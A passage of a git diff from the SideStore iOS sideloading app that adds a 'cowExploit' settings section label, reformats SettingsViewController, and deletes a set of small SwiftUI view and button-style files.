|
||||
return footerView
|
||||
@@ -425,9 +471,10 @@ extension SettingsViewController
|
||||
let section = Section.allCases[section]
|
||||
switch section
|
||||
{
|
||||
case _ where self.isSectionHidden(section): return 1.0
|
||||
case .signIn where self.activeTeam != nil: return 1.0
|
||||
case .account where self.activeTeam == nil: return 1.0
|
||||
case .signIn, .account, .patreon, .appRefresh, .credits, .debug:
|
||||
case .signIn, .account, .patreon, .appRefresh, .credits, .debug, .cowExploit:
|
||||
let height = self.preferredHeight(for: self.prototypeHeaderFooterView, in: section, isHeader: true)
|
||||
return height
|
||||
|
||||
@@ -440,9 +487,10 @@ extension SettingsViewController
|
||||
let section = Section.allCases[section]
|
||||
switch section
|
||||
{
|
||||
case _ where self.isSectionHidden(section): return 1.0
|
||||
case .signIn where self.activeTeam != nil: return 1.0
|
||||
case .account where self.activeTeam == nil: return 1.0
|
||||
case .signIn, .patreon, .appRefresh:
|
||||
case .account where self.activeTeam == nil: return 1.0
|
||||
case .signIn, .patreon, .appRefresh, .cowExploit:
|
||||
let height = self.preferredHeight(for: self.prototypeHeaderFooterView, in: section, isHeader: false)
|
||||
return height
|
||||
|
||||
@@ -516,8 +564,10 @@ extension SettingsViewController
|
||||
message: NSLocalizedString("You can reset the pairing file when you cannot sideload apps or enable JIT. You need to restart SideStore.", comment: ""),
|
||||
preferredStyle: UIAlertController.Style.actionSheet)
|
||||
|
||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Delete and Reset", comment: ""), style: .destructive){ _ in
|
||||
if fm.fileExists(atPath: documentsPath.path), let contents = try? String(contentsOf: documentsPath), !contents.isEmpty {
|
||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Delete and Reset", comment: ""), style: .destructive)
|
||||
{ _ in
|
||||
if fm.fileExists(atPath: documentsPath.path), let contents = try? String(contentsOf: documentsPath), !contents.isEmpty
|
||||
{
|
||||
try? fm.removeItem(atPath: documentsPath.path)
|
||||
NSLog("Pairing File Reseted")
|
||||
}
|
||||
@@ -526,41 +576,25 @@ extension SettingsViewController
|
||||
self.present(dialogMessage, animated: true, completion: nil)
|
||||
})
|
||||
alertController.addAction(.cancel)
|
||||
//Fix crash on iPad
|
||||
alertController.popoverPresentationController?.sourceView = self.tableView
|
||||
alertController.popoverPresentationController?.sourceRect = self.tableView.rectForRow(at: indexPath)
|
||||
self.present(alertController, animated: true)
|
||||
self.tableView.deselectRow(at: indexPath, animated: true)
|
||||
case .resetAdiPb:
|
||||
let alertController = UIAlertController(
|
||||
title: NSLocalizedString("Are you sure you want to reset the adi.pb file?", comment: ""),
|
||||
message: NSLocalizedString("The adi.pb file is used to generate anisette data, which is required to log into an Apple ID. If you are having issues with account related things, you can try this. However, you will be required to do 2FA again. This will do nothing if you are using an older anisette server.", comment: ""),
|
||||
preferredStyle: UIAlertController.Style.actionSheet)
|
||||
|
||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Reset adi.pb", comment: ""), style: .destructive){ _ in
|
||||
if Keychain.shared.adiPb != nil {
|
||||
Keychain.shared.adiPb = nil
|
||||
print("Cleared adi.pb from keychain")
|
||||
}
|
||||
self.tableView.deselectRow(at: indexPath, animated: true)
|
||||
})
|
||||
alertController.addAction(.cancel)
|
||||
//Fix crash on iPad
|
||||
// Fix crash on iPad
|
||||
alertController.popoverPresentationController?.sourceView = self.tableView
|
||||
alertController.popoverPresentationController?.sourceRect = self.tableView.rectForRow(at: indexPath)
|
||||
self.present(alertController, animated: true)
|
||||
self.tableView.deselectRow(at: indexPath, animated: true)
|
||||
case .advancedSettings:
|
||||
// Create the URL that deep links to your app's custom settings.
|
||||
if let url = URL(string: UIApplication.openSettingsURLString) {
|
||||
if let url = URL(string: UIApplication.openSettingsURLString)
|
||||
{
|
||||
// Ask the system to open that URL.
|
||||
UIApplication.shared.open(url)
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
ELOG("UIApplication.openSettingsURLString invalid")
|
||||
}
|
||||
case .refreshAttempts, .errorLog: break
|
||||
}
|
||||
|
||||
case .cowExploit: break
|
||||
default: break
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,61 +0,0 @@
|
||||
//
|
||||
// SwiftUIView.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 18.11.22.
|
||||
// Copyright © 2022 Fabian Thies. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import AsyncImage
|
||||
|
||||
struct AppIconView: View {
|
||||
let iconUrl: URL?
|
||||
var size: CGFloat = 64
|
||||
var cornerRadius: CGFloat {
|
||||
size * 0.234
|
||||
}
|
||||
|
||||
var body: some View {
|
||||
if let iconUrl {
|
||||
AsyncImage(url: iconUrl) { image in
|
||||
image
|
||||
.resizable()
|
||||
} placeholder: {
|
||||
Color(UIColor.secondarySystemBackground)
|
||||
}
|
||||
.frame(width: size, height: size)
|
||||
.clipShape(RoundedRectangle(cornerRadius: cornerRadius, style: .continuous))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
extension AppIconView: Equatable {
|
||||
/// Prevent re-rendering of the view if the parameters didn't change
|
||||
static func == (lhs: AppIconView, rhs: AppIconView) -> Bool {
|
||||
lhs.iconUrl == rhs.iconUrl && lhs.cornerRadius == rhs.cornerRadius
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
import AltStoreCore
|
||||
|
||||
struct AppIconView_Previews: PreviewProvider {
|
||||
|
||||
static let context = DatabaseManager.shared.viewContext
|
||||
static let app = StoreApp.makeAltStoreApp(in: context)
|
||||
|
||||
static var previews: some View {
|
||||
HStack {
|
||||
AppIconView(iconUrl: app.iconURL)
|
||||
|
||||
VStack(alignment: .leading) {
|
||||
Text(app.name)
|
||||
.bold()
|
||||
Text(app.developerName)
|
||||
.font(.callout)
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,144 +0,0 @@
|
||||
//
|
||||
// AppPillButton.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 20.11.22.
|
||||
// Copyright © 2022 Fabian Thies. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import AltStoreCore
|
||||
|
||||
struct AppPillButton: View {
|
||||
|
||||
@ObservedObject
|
||||
var appManager = AppManager.shared.publisher
|
||||
|
||||
let app: AppProtocol
|
||||
var showRemainingDays = false
|
||||
|
||||
var storeApp: StoreApp? {
|
||||
(app as? StoreApp) ?? (app as? InstalledApp)?.storeApp
|
||||
}
|
||||
|
||||
var installedApp: InstalledApp? {
|
||||
(app as? InstalledApp) ?? (app as? StoreApp)?.installedApp
|
||||
}
|
||||
|
||||
var progress: Progress? {
|
||||
appManager.refreshProgress[app.bundleIdentifier] ?? appManager.installationProgress[app.bundleIdentifier]
|
||||
}
|
||||
// let progress = {
|
||||
// let progress = Progress(totalUnitCount: 100)
|
||||
// progress.completedUnitCount = 20
|
||||
// return progress
|
||||
// }()
|
||||
|
||||
var buttonText: String {
|
||||
// guard progress == nil else {
|
||||
// return ""
|
||||
// }
|
||||
|
||||
if let installedApp {
|
||||
if self.showRemainingDays {
|
||||
return DateFormatterHelper.string(forExpirationDate: installedApp.expirationDate)
|
||||
}
|
||||
|
||||
return L10n.AppPillButton.open
|
||||
}
|
||||
|
||||
return L10n.AppPillButton.free
|
||||
}
|
||||
|
||||
var body: some View {
|
||||
SwiftUI.Button(action: handleButton) {
|
||||
Text(buttonText.uppercased())
|
||||
.bold()
|
||||
}
|
||||
.buttonStyle(PillButtonStyle(tintColor: storeApp?.tintColor ?? .black, progress: progress))
|
||||
}
|
||||
|
||||
func handleButton() {
|
||||
if let installedApp {
|
||||
if showRemainingDays {
|
||||
self.refreshApp(installedApp)
|
||||
} else {
|
||||
self.openApp(installedApp)
|
||||
}
|
||||
} else if let storeApp {
|
||||
self.installApp(storeApp)
|
||||
}
|
||||
}
|
||||
|
||||
func openApp(_ installedApp: InstalledApp) {
|
||||
UIApplication.shared.open(installedApp.openAppURL)
|
||||
}
|
||||
|
||||
func refreshApp(_ installedApp: InstalledApp) {
|
||||
AppManager.shared.refresh([installedApp], presentingViewController: nil)
|
||||
}
|
||||
|
||||
func installApp(_ storeApp: StoreApp) {
|
||||
let previousProgress = AppManager.shared.installationProgress(for: storeApp)
|
||||
guard previousProgress == nil else {
|
||||
previousProgress?.cancel()
|
||||
return
|
||||
}
|
||||
|
||||
let _ = AppManager.shared.install(storeApp, presentingViewController: UIApplication.shared.keyWindow?.rootViewController) { result in
|
||||
|
||||
switch result {
|
||||
case let .success(installedApp):
|
||||
print("Installed app: \(installedApp.bundleIdentifier)")
|
||||
|
||||
case let .failure(error):
|
||||
print("Failed to install app: \(error.localizedDescription)")
|
||||
NotificationManager.shared.reportError(error: error)
|
||||
AppManager.shared.installationProgress(for: storeApp)?.cancel()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
struct AppPillButton_Previews: PreviewProvider {
|
||||
|
||||
static let context = DatabaseManager.shared.viewContext
|
||||
static let app = StoreApp.makeAltStoreApp(in: context)
|
||||
static let installedApp = InstalledApp.fetchAltStore(in: context)
|
||||
|
||||
static var previews: some View {
|
||||
VStack {
|
||||
self.preview(for: app)
|
||||
|
||||
self.preview(for: installedApp!)
|
||||
|
||||
self.preview(for: installedApp!, showRemainingDays: true)
|
||||
}
|
||||
.padding()
|
||||
}
|
||||
|
||||
@ViewBuilder
|
||||
static func preview(for app: AppProtocol, showRemainingDays: Bool = false) -> some View {
|
||||
HintView(backgroundColor: Color(UIColor.secondarySystemBackground)) {
|
||||
HStack {
|
||||
AppIconView(iconUrl: self.app.iconURL)
|
||||
|
||||
VStack(alignment: .leading) {
|
||||
Text(app is StoreApp ? "Store App" : "Installed App")
|
||||
.bold()
|
||||
Text(
|
||||
app is StoreApp ?
|
||||
"Can be installed" :
|
||||
showRemainingDays ? "Can be refreshed" : "Can be opened"
|
||||
)
|
||||
.font(.callout)
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
|
||||
Spacer()
|
||||
|
||||
AppPillButton(app: app, showRemainingDays: showRemainingDays)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,53 +0,0 @@
|
||||
//
|
||||
// AppRowView.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 18.11.22.
|
||||
// Copyright © 2022 Fabian Thies. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import AltStoreCore
|
||||
|
||||
struct AppRowView: View {
|
||||
let app: AppProtocol
|
||||
|
||||
var storeApp: StoreApp? {
|
||||
(app as? StoreApp) ?? (app as? InstalledApp)?.storeApp
|
||||
}
|
||||
|
||||
var showRemainingDays: Bool = false
|
||||
|
||||
var body: some View {
|
||||
HStack(alignment: .center, spacing: 12) {
|
||||
AppIconView(iconUrl: storeApp?.iconURL)
|
||||
|
||||
VStack(alignment: .leading, spacing: 2) {
|
||||
Text(app.name)
|
||||
.bold()
|
||||
|
||||
Text(storeApp?.developerName ?? L10n.AppRowView.sideloaded)
|
||||
.font(.callout)
|
||||
.foregroundColor(.secondary)
|
||||
|
||||
RatingStars(rating: 4)
|
||||
.frame(height: 12)
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
.lineLimit(1)
|
||||
|
||||
Spacer()
|
||||
|
||||
AppPillButton(app: app, showRemainingDays: showRemainingDays)
|
||||
}
|
||||
.padding()
|
||||
.tintedBackground(Color(storeApp?.tintColor ?? UIColor(Color.accentColor)))
|
||||
.clipShape(RoundedRectangle(cornerRadius: 24, style: .circular))
|
||||
}
|
||||
}
|
||||
|
||||
//struct AppRowView_Previews: PreviewProvider {
|
||||
// static var previews: some View {
|
||||
// AppRowView()
|
||||
// }
|
||||
//}
|
||||
@@ -1,55 +0,0 @@
|
||||
//
|
||||
// AppScreenshot.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 20.12.22.
|
||||
// Copyright © 2022 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import UIKit
|
||||
import AsyncImage
|
||||
|
||||
struct AppScreenshot: View {
|
||||
let url: URL
|
||||
var aspectRatio: CGFloat = 9/16
|
||||
|
||||
static let processor = Self.ScreenshotProcessor()
|
||||
|
||||
var body: some View {
|
||||
AsyncImage(url: self.url, processor: Self.processor) { image in
|
||||
image
|
||||
.resizable()
|
||||
} placeholder: {
|
||||
Rectangle()
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
.aspectRatio(self.aspectRatio, contentMode: .fit)
|
||||
.cornerRadius(8)
|
||||
}
|
||||
}
|
||||
|
||||
extension AppScreenshot {
|
||||
class ScreenshotProcessor: ImageProcessor {
|
||||
func process(image: UIImage) -> UIImage {
|
||||
guard let cgImage = image.cgImage, image.size.width > image.size.height else { return image }
|
||||
|
||||
let rotatedImage = UIImage(cgImage: cgImage, scale: image.scale, orientation: .right)
|
||||
return rotatedImage
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
import AltStoreCore
|
||||
|
||||
struct AppScreenshot_Previews: PreviewProvider {
|
||||
|
||||
static let context = DatabaseManager.shared.viewContext
|
||||
static let app = StoreApp.makeAltStoreApp(in: context)
|
||||
|
||||
static var previews: some View {
|
||||
AppScreenshot(url: app.screenshotURLs[0])
|
||||
.padding()
|
||||
}
|
||||
}
|
||||
@@ -1,42 +0,0 @@
|
||||
//
|
||||
// HintView.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 15.01.23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
struct HintView<Content: View>: View {
|
||||
|
||||
var backgroundColor: Color = Color(.tertiarySystemBackground)
|
||||
|
||||
@ViewBuilder
|
||||
let content: () -> Content
|
||||
|
||||
var body: some View {
|
||||
VStack(alignment: .leading, spacing: 8) {
|
||||
self.content()
|
||||
}
|
||||
.padding()
|
||||
.background(self.backgroundColor)
|
||||
.clipShape(RoundedRectangle(cornerRadius: 8))
|
||||
}
|
||||
}
|
||||
|
||||
struct HintView_Previews: PreviewProvider {
|
||||
static var previews: some View {
|
||||
ZStack {
|
||||
Color(.secondarySystemBackground).edgesIgnoringSafeArea(.all)
|
||||
|
||||
HintView {
|
||||
Text("Hint Title")
|
||||
.bold()
|
||||
|
||||
Text("This hint view can be used to tell the user something about how SideStore works.")
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,45 +0,0 @@
|
||||
//
|
||||
// ModalNavigationLink.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 03.02.23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
struct ModalNavigationLink<Label: View, Modal: View>: View {
|
||||
let modal: () -> Modal
|
||||
let label: () -> Label
|
||||
|
||||
@State var isPresentingModal: Bool = false
|
||||
|
||||
init(@ViewBuilder modal: @escaping () -> Modal, @ViewBuilder label: @escaping () -> Label) {
|
||||
self.modal = modal
|
||||
self.label = label
|
||||
}
|
||||
|
||||
init(_ title: String, @ViewBuilder modal: @escaping () -> Modal) where Label == Text {
|
||||
self.modal = modal
|
||||
self.label = { Text(title) }
|
||||
}
|
||||
|
||||
var body: some View {
|
||||
SwiftUI.Button {
|
||||
self.isPresentingModal = true
|
||||
} label: {
|
||||
self.label()
|
||||
}
|
||||
.sheet(isPresented: self.$isPresentingModal) {
|
||||
self.modal()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
struct ModalNavigationLink_Previews: PreviewProvider {
|
||||
static var previews: some View {
|
||||
ModalNavigationLink("Present Modal") {
|
||||
Text("Modal")
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,47 +0,0 @@
|
||||
//
|
||||
// ObservableScrollView.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 20.11.22.
|
||||
// Copyright © 2022 Fabian Thies. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
struct ObservableScrollView<Content: View>: View {
|
||||
@Namespace var scrollViewNamespace
|
||||
|
||||
@Binding var scrollOffset: CGFloat
|
||||
|
||||
let content: (ScrollViewProxy) -> Content
|
||||
|
||||
init(scrollOffset: Binding<CGFloat>, @ViewBuilder content: @escaping (ScrollViewProxy) -> Content) {
|
||||
self._scrollOffset = scrollOffset
|
||||
self.content = content
|
||||
}
|
||||
|
||||
var body: some View {
|
||||
ScrollView {
|
||||
ScrollViewReader { proxy in
|
||||
content(proxy)
|
||||
.background(GeometryReader { geoReader in
|
||||
let offset = -geoReader.frame(in: .named(scrollViewNamespace)).minY
|
||||
Color.clear
|
||||
.preference(key: ScrollViewOffsetPreferenceKey.self, value: offset)
|
||||
})
|
||||
}
|
||||
}
|
||||
.coordinateSpace(name: scrollViewNamespace)
|
||||
.onPreferenceChange(ScrollViewOffsetPreferenceKey.self) { value in
|
||||
scrollOffset = value
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
struct ScrollViewOffsetPreferenceKey: PreferenceKey {
|
||||
static var defaultValue = CGFloat.zero
|
||||
|
||||
static func reduce(value: inout CGFloat, nextValue: () -> CGFloat) {
|
||||
value += nextValue()
|
||||
}
|
||||
}
|
||||
@@ -1,31 +0,0 @@
|
||||
//
|
||||
// RatingStars.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 18.11.22.
|
||||
// Copyright © 2022 Fabian Thies. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import SFSafeSymbols
|
||||
|
||||
struct RatingStars: View {
|
||||
|
||||
let rating: Int
|
||||
|
||||
var body: some View {
|
||||
HStack(spacing: 0) {
|
||||
ForEach(0..<5) { i in
|
||||
Image(systemSymbol: i < rating ? .starFill : .star)
|
||||
.resizable()
|
||||
.aspectRatio(contentMode: .fit)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
struct RatingStars_Previews: PreviewProvider {
|
||||
static var previews: some View {
|
||||
RatingStars(rating: 4)
|
||||
}
|
||||
}
|
||||
@@ -1,52 +0,0 @@
|
||||
//
|
||||
// RoundedTextField.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 29.11.22.
|
||||
// Copyright © 2022 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
struct RoundedTextField: View {
|
||||
|
||||
let title: String?
|
||||
let placeholder: String
|
||||
@Binding var text: String
|
||||
let isSecure: Bool
|
||||
|
||||
init(title: String?, placeholder: String, text: Binding<String>, isSecure: Bool = false) {
|
||||
self.title = title
|
||||
self.placeholder = placeholder
|
||||
self._text = text
|
||||
self.isSecure = isSecure
|
||||
}
|
||||
|
||||
init(_ placeholder: String, text: Binding<String>, isSecure: Bool = false) {
|
||||
self.init(title: nil, placeholder: placeholder, text: text, isSecure: isSecure)
|
||||
}
|
||||
|
||||
var body: some View {
|
||||
VStack(alignment: .leading, spacing: 8) {
|
||||
if let title {
|
||||
Text(title.uppercased())
|
||||
.font(.system(size: 12))
|
||||
.foregroundColor(.secondary)
|
||||
.padding(.horizontal)
|
||||
}
|
||||
|
||||
HStack(alignment: .center) {
|
||||
if isSecure {
|
||||
SecureField(placeholder, text: $text)
|
||||
} else {
|
||||
TextField(placeholder, text: $text)
|
||||
}
|
||||
}
|
||||
.padding()
|
||||
.background(
|
||||
RoundedRectangle(cornerRadius: 12)
|
||||
.foregroundColor(Color(.secondarySystemBackground))
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,16 +0,0 @@
|
||||
//
|
||||
// EnvironmentValues.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 29.11.22.
|
||||
// Copyright © 2022 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
@available(iOS 14.0, *)
|
||||
extension EnvironmentValues {
|
||||
var dismiss: () -> Void {
|
||||
{ presentationMode.wrappedValue.dismiss() }
|
||||
}
|
||||
}
|
||||
@@ -1,35 +0,0 @@
|
||||
//
|
||||
// Modifiers.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 01.12.22.
|
||||
// Copyright © 2022 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
extension View {
|
||||
|
||||
@ViewBuilder func `if`<Content: View>(_ condition: Bool, @ViewBuilder transform: (Self) -> Content) -> some View {
|
||||
if condition {
|
||||
transform(self)
|
||||
} else {
|
||||
self
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@ViewBuilder func searchable(text: Binding<String>, placeholder: String) -> some View {
|
||||
if #available(iOS 15.0, *) {
|
||||
self.searchable(text: text, prompt: Text(placeholder))
|
||||
} else {
|
||||
self
|
||||
}
|
||||
}
|
||||
|
||||
@ViewBuilder func tintedBackground(_ color: Color) -> some View {
|
||||
self
|
||||
.blurBackground(.systemUltraThinMaterial)
|
||||
.background(color.opacity(0.4))
|
||||
}
|
||||
}
|
||||
@@ -1,47 +0,0 @@
|
||||
//
|
||||
// FilledButtonStyle.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 29.11.22.
|
||||
// Copyright © 2022 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
struct FilledButtonStyle: ButtonStyle {
|
||||
var isLoading: Bool = false
|
||||
|
||||
func makeBody(configuration: Configuration) -> some View {
|
||||
ZStack {
|
||||
configuration.label
|
||||
.opacity(isLoading ? 0 : 1)
|
||||
|
||||
if isLoading {
|
||||
ProgressView()
|
||||
.progressViewStyle(CircularProgressViewStyle())
|
||||
}
|
||||
}
|
||||
.foregroundColor(.white)
|
||||
.multilineTextAlignment(.center)
|
||||
.frame(maxWidth: .infinity)
|
||||
.padding()
|
||||
.background(
|
||||
RoundedRectangle(cornerRadius: 12)
|
||||
.foregroundColor(.accentColor)
|
||||
)
|
||||
.opacity(configuration.isPressed || isLoading ? 0.7 : 1)
|
||||
.disabled(isLoading)
|
||||
}
|
||||
}
|
||||
|
||||
struct FilledButtonStyle_Previews: PreviewProvider {
|
||||
static var previews: some View {
|
||||
SwiftUI.Button {
|
||||
|
||||
} label: {
|
||||
Label("Test Button", systemImage: "testtube.2")
|
||||
.buttonStyle(FilledButtonStyle())
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -1,28 +0,0 @@
|
||||
//
|
||||
// PillButtonProgressViewStyle.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 22.11.22.
|
||||
// Copyright © 2022 Fabian Thies. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
struct PillButtonProgressViewStyle: ProgressViewStyle {
|
||||
let tint: Color
|
||||
|
||||
func makeBody(configuration: Configuration) -> some View {
|
||||
ZStack(alignment: .leading) {
|
||||
Capsule(style: .continuous)
|
||||
.foregroundColor(tint.opacity(0.15))
|
||||
|
||||
GeometryReader { proxy in
|
||||
Capsule(style: .continuous)
|
||||
// .frame(width: proxy.size.width * (configuration.fractionCompleted ?? 0.0))
|
||||
.foregroundColor(tint)
|
||||
.offset(x: -proxy.size.width * (1 - (configuration.fractionCompleted ?? 1)))
|
||||
}
|
||||
}
|
||||
.animation(.easeInOut(duration: 0.2))
|
||||
}
|
||||
}
|
||||
@@ -1,59 +0,0 @@
|
||||
//
|
||||
// PillButtonStyle.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 18.11.22.
|
||||
// Copyright © 2022 Fabian Thies. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
struct PillButtonStyle: ButtonStyle {
|
||||
|
||||
let tintColor: UIColor
|
||||
var progress: Progress?
|
||||
|
||||
func makeBody(configuration: Configuration) -> some View {
|
||||
ZStack {
|
||||
if progress == nil {
|
||||
configuration.label
|
||||
.opacity(configuration.isPressed ? 0.4 : 1.0)
|
||||
} else {
|
||||
ProgressView()
|
||||
.progressViewStyle(DefaultProgressViewStyle())
|
||||
}
|
||||
}
|
||||
.frame(minWidth: 40)
|
||||
.padding(.horizontal, 16)
|
||||
.padding(.vertical, 6)
|
||||
.background(background)
|
||||
.foregroundColor(self.progress == nil ? .white : Color(tintColor))
|
||||
.clipShape(Capsule())
|
||||
}
|
||||
|
||||
var background: some View {
|
||||
ZStack {
|
||||
if let progress {
|
||||
Color(tintColor).opacity(0.15)
|
||||
|
||||
ProgressView(progress)
|
||||
.progressViewStyle(PillButtonProgressViewStyle(tint: Color(tintColor)))
|
||||
} else {
|
||||
Color(tintColor)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
struct PillButtonStyle_Previews: PreviewProvider {
|
||||
|
||||
static var previews: some View {
|
||||
SwiftUI.Button {
|
||||
|
||||
} label: {
|
||||
Text("Label").bold()
|
||||
}
|
||||
.buttonStyle(PillButtonStyle(tintColor: Asset.accentColor.color))
|
||||
}
|
||||
}
|
||||
@@ -1,21 +0,0 @@
|
||||
//
|
||||
// ActivityView.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 19.05.23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import UIKit
|
||||
|
||||
|
||||
struct ActivityView: UIViewControllerRepresentable {
|
||||
let items: [Any]
|
||||
|
||||
func makeUIViewController(context: UIViewControllerRepresentableContext<ActivityView>) -> UIActivityViewController {
|
||||
return UIActivityViewController(activityItems: items, applicationActivities: nil)
|
||||
}
|
||||
|
||||
func updateUIViewController(_ uiViewController: UIActivityViewController, context: UIViewControllerRepresentableContext<ActivityView>) {}
|
||||
}
|
||||
@@ -1,87 +0,0 @@
|
||||
//
|
||||
// AppStoreProductView.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 25.02.23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import StoreKit
|
||||
|
||||
|
||||
struct AppStoreView: UIViewControllerRepresentable {
|
||||
typealias UIViewControllerType = AppStoreProductViewController
|
||||
|
||||
var isVisible: Binding<Bool>
|
||||
let itunesItemId: Int
|
||||
|
||||
func makeUIViewController(context: Context) -> AppStoreProductViewController {
|
||||
AppStoreProductViewController(isVisible: self.isVisible, itunesId: self.itunesItemId)
|
||||
}
|
||||
|
||||
func updateUIViewController(_ uiViewController: UIViewControllerType, context: Context) {
|
||||
if self.isVisible.wrappedValue {
|
||||
uiViewController.presentStoreProduct()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
class AppStoreProductViewController: UIViewController {
|
||||
|
||||
private var isVisible: Binding<Bool>
|
||||
private let itunesId: Int
|
||||
|
||||
init(isVisible: Binding<Bool>, itunesId: Int) {
|
||||
self.isVisible = isVisible
|
||||
self.itunesId = itunesId
|
||||
|
||||
super.init(nibName: nil, bundle: nil)
|
||||
}
|
||||
|
||||
required init?(coder: NSCoder) {
|
||||
fatalError("init(coder:) has not been implemented")
|
||||
}
|
||||
|
||||
override func viewDidLoad() {
|
||||
super.viewDidLoad()
|
||||
}
|
||||
|
||||
override func viewWillAppear(_ animated: Bool) {
|
||||
super.viewWillAppear(animated)
|
||||
}
|
||||
|
||||
override func viewWillDisappear(_ animated: Bool) {
|
||||
super.viewWillDisappear(animated)
|
||||
}
|
||||
|
||||
func presentStoreProduct() {
|
||||
let storeProductViewController = SKStoreProductViewController()
|
||||
storeProductViewController.delegate = self
|
||||
|
||||
let parameters = [SKStoreProductParameterITunesItemIdentifier: self.itunesId]
|
||||
storeProductViewController.loadProduct(withParameters: parameters) { (success, error) -> Void in
|
||||
if let error = error {
|
||||
print("Failed to load App Store product: \(error.localizedDescription)")
|
||||
}
|
||||
guard success else {
|
||||
return
|
||||
}
|
||||
|
||||
self.present(storeProductViewController, animated: true, completion: nil)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// MARK: - SKStoreProductViewControllerDelegate
|
||||
|
||||
extension AppStoreProductViewController: SKStoreProductViewControllerDelegate {
|
||||
|
||||
func productViewControllerDidFinish(_ viewController: SKStoreProductViewController) {
|
||||
DispatchQueue.main.async {
|
||||
self.isVisible.wrappedValue = false
|
||||
}
|
||||
// viewController.presentingViewController?.dismiss(animated: true, completion: nil)
|
||||
}
|
||||
}
|
||||
@@ -1,52 +0,0 @@
|
||||
//
|
||||
// DocumentPicker.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 20.12.22.
|
||||
// Copyright © 2022 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import UIKit
|
||||
import SwiftUI
|
||||
|
||||
struct DocumentPicker: UIViewControllerRepresentable {
|
||||
internal class Coordinator: NSObject {
|
||||
var parent: DocumentPicker
|
||||
|
||||
init(_ parent: DocumentPicker) {
|
||||
self.parent = parent
|
||||
}
|
||||
}
|
||||
|
||||
@Binding var selectedUrl: URL?
|
||||
let supportedTypes: [String]
|
||||
|
||||
func makeCoordinator() -> Coordinator {
|
||||
Coordinator(self)
|
||||
}
|
||||
|
||||
func makeUIViewController(context: Context) -> some UIViewController {
|
||||
|
||||
let documentPickerViewController = UIDocumentPickerViewController(documentTypes: supportedTypes, in: .import)
|
||||
documentPickerViewController.delegate = context.coordinator
|
||||
return documentPickerViewController
|
||||
}
|
||||
|
||||
func updateUIViewController(_ uiViewController: UIViewControllerType, context: Context) {}
|
||||
}
|
||||
|
||||
extension DocumentPicker.Coordinator: UIDocumentPickerDelegate {
|
||||
|
||||
